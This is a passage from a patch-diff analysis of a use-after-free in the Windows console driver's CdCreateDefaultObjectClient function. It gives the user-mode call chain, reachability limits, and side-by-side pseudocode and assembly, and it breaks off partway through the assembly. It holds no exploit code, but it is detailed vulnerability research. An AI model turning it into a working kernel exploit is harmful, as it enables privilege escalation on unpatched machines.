&lt;p&gt;The function then:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Takes a shared push lock (&lt;code&gt;ExAcquirePushLockSharedEx&lt;/code&gt; inside &lt;code&gt;KeEnterCriticalRegion&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Reads &lt;code&gt;rdi_1[0xC0]&lt;/code&gt; (an additional referenced object, &lt;code&gt;Object_1&lt;/code&gt;) and references it.&lt;/li&gt;
&lt;li&gt;Releases the push lock (&lt;code&gt;KeLeaveCriticalRegion&lt;/code&gt; at &lt;code&gt;0x1c000a265&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Calls &lt;code&gt;ObfDereferenceObject(Object)&lt;/code&gt; at &lt;code&gt;0x1c000a274&lt;/code&gt;&lt;/strong&gt; — this is the bug. At this point all subsequent work is still pending, but the only reference this function was pinning has just been dropped.&lt;/li&gt;
&lt;li&gt;Continues to dereference &lt;code&gt;rsi&lt;/code&gt; and &lt;code&gt;rdi_1&lt;/code&gt; (which were derived from &lt;code&gt;Object&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If, racing against another thread that is closing the same console handle, &lt;code&gt;Object&lt;/code&gt;'s reference count hits zero on the dereference at step 4, the object manager invokes the console cleanup routine, freeing both &lt;code&gt;Object&lt;/code&gt; and the &lt;code&gt;FsContext2&lt;/code&gt; connection data (&lt;code&gt;rsi&lt;/code&gt;). The three later accesses then operate on freed pool:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Address&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Effect&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c000a2a9 / 0x1c000a2b2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;test rsi,rsi&lt;/code&gt; → &lt;code&gt;call PsIsSystemProcess(*(rsi+0x20))&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Dereferences freed pool for &lt;code&gt;rsi+0x20&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c000ba75&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov [rbx+0x8], rdi&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Stores a dangling &lt;code&gt;rdi_1&lt;/code&gt; into a freshly allocated structure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c000ba79&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;lock inc qword [rdi+0x18]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Atomic increment on freed pool memory&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Reachability constraints:
- The &lt;code&gt;rsi&lt;/code&gt; accesses only occur on the slow path (&lt;code&gt;CdGetProcessConnection&lt;/code&gt;), where &lt;code&gt;rsi&lt;/code&gt; (the connection data) is non-NULL. On the fast path &lt;code&gt;rsi == 0&lt;/code&gt;, so the &lt;code&gt;test rsi,rsi&lt;/code&gt; at &lt;code&gt;0x1c000a2a9&lt;/code&gt; short-circuits and none of the three accesses above are reached.
- The last two accesses (&lt;code&gt;mov [rbx+0x8], rdi&lt;/code&gt; and &lt;code&gt;lock inc [rdi+0x18]&lt;/code&gt;) are additionally gated behind &lt;code&gt;PsIsSystemProcess(*(rsi+0x20)) != 0&lt;/code&gt; — they are reached only if the connection's owning process is the System process. That predicate is not attacker-controlled for an ordinary connection, so the dangling-store and atomic-increment writes are not a general unprivileged primitive. The &lt;code&gt;*(rsi+0x20)&lt;/code&gt; read fed to &lt;code&gt;PsIsSystemProcess&lt;/code&gt; is itself the freed-pool access that fires first on the slow path.&lt;/p&gt;
&lt;p&gt;The patch moves &lt;code&gt;ObfDereferenceObject(Object)&lt;/code&gt; to the tail of every code path (after &lt;code&gt;PsIsSystemProcess&lt;/code&gt;, after the store into the new allocation, and after the lock-inc), guaranteeing &lt;code&gt;rsi&lt;/code&gt;/&lt;code&gt;rdi_1&lt;/code&gt; are valid throughout.&lt;/p&gt;
&lt;h4&gt;Reachable entry point &amp;amp; call chain&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;User-mode &lt;code&gt;NtCreateFile&lt;/code&gt;/&lt;code&gt;CreateFileW&lt;/code&gt; on &lt;code&gt;\\.\Device\\ConDrv&lt;/code&gt; (or any path that resolves to it through the console API).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DeviceIoControl&lt;/code&gt; issuing &lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt; to the device.&lt;/li&gt;
&lt;li&gt;Dispatch routine &lt;code&gt;CdpDispatchDeviceControl&lt;/code&gt; (or &lt;code&gt;CdpConnectionIoctl&lt;/code&gt;) decodes the IOCTL.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CdCreateDefaultObjectClient&lt;/code&gt; has no direct caller in the disassembly; it is reached through an indirect (function-pointer) call from the connection dispatch. Its signature is &lt;code&gt;CdCreateDefaultObjectClient(PIRP Irp, int subcode)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Lands in &lt;code&gt;CdCreateDefaultObjectClient (0x1C000A170)&lt;/code&gt;, the connection-establishment / server-IO-completion handler.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ---------- UNPATCHED (vulnerable) ----------&lt;/span&gt;
&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;CdCreateDefaultObjectClient&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1C000A170&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;IRP&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* from IRP stack (fast) or CdGetProcessConnection (sub_1c00098b0) (slow) */&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ConnectionData&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// *(Object + 0x18)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ServerConn&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// *(rsi + 0x18)&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExAcquirePushLockSharedEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Lock&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Object_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;LinkedObject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// rdi_1[0xC0]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ObfReferenceObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Object_1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExReleasePushLockSharedEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Lock&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeLeaveCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ObfDereferenceObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;&amp;lt;&amp;lt; BUG: drops Object ref too early&lt;/span&gt;
&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="c1"&gt;//     If concurrent close drops the last&lt;/span&gt;
&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="c1"&gt;//     ref, Object + rsi are freed HERE.&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// UAF #1: rsi may be freed&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PsIsSystemProcess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// UAF: deref *(rsi+0x20)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax_5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CdpAllocateClient&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1c000a320&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="cm"&gt;/* pool tag */&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// allocate new conn struct&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax_5&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="c1"&gt;// UAF #2: dangling pointer store&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_InterlockedIncrement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;RefCount&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// UAF #3: lock inc on freed pool&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ---------- PATCHED (fixed) ----------&lt;/span&gt;
&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;CdCreateDefaultObjectClient&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1C000A170&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;IRP&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* same acquisition */&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ConnectionData&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ServerConn&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExAcquirePushLockSharedEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Lock&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Object_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;LinkedObject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// rdi_1[0xC0]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ObfReferenceObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Object_1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExReleasePushLockSharedEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Lock&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeLeaveCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// NO ObfDereferenceObject here — rsi / rdi_1 stay valid.&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* == old rsi */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PsIsSystemProcess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// safe: refcount still held&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax_5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CdpAllocateClient&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1c000a3b0&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="cm"&gt;/* pool tag */&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// helper renamed/moved only&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax_5&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="c1"&gt;// safe&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_InterlockedIncrement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;RefCount&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// safe&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ObfDereferenceObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;&amp;lt;&amp;lt; FIX: deref moved to end of every path&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Notes:
- The &lt;code&gt;CdServerType&lt;/code&gt; type-check reads the same descriptor in both builds, and the &lt;code&gt;CdpAllocateClient&lt;/code&gt; helper moved from &lt;code&gt;0x1c000a320&lt;/code&gt; to &lt;code&gt;0x1c000a3b0&lt;/code&gt;; both are pure build-layout artifacts, &lt;strong&gt;not&lt;/strong&gt; semantic changes.
- Register renames (&lt;code&gt;r15↔r13&lt;/code&gt;, &lt;code&gt;r14↔rsi&lt;/code&gt;, &lt;code&gt;esi↔r15&lt;/code&gt;, etc.) are a consequence of the compiler reordering the deref and are not security-relevant.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Unpatched vulnerable sequence&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; ---- shared-pushlock release, then EARLY dereference ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a259:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;ExReleasePushLockSharedEx&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a265:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;KeLeaveCriticalRegion&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a274:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;ObfDereferenceObject&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; *** BUG: ref dropped ***&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;          rcx = Object                        ;      if refcount -&amp;gt; 0,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;                                              ;      Object + rsi freed&lt;/span&gt;

&lt;span class="c1"&gt;; ---- UAF #1: dereference of rsi (== Object-&amp;gt;ConnectionData) ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a2a9:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;; rsi may be dangling&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a2ac:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;skip_proc_check&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a2ae:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; load from freed pool&lt;/span&gt;
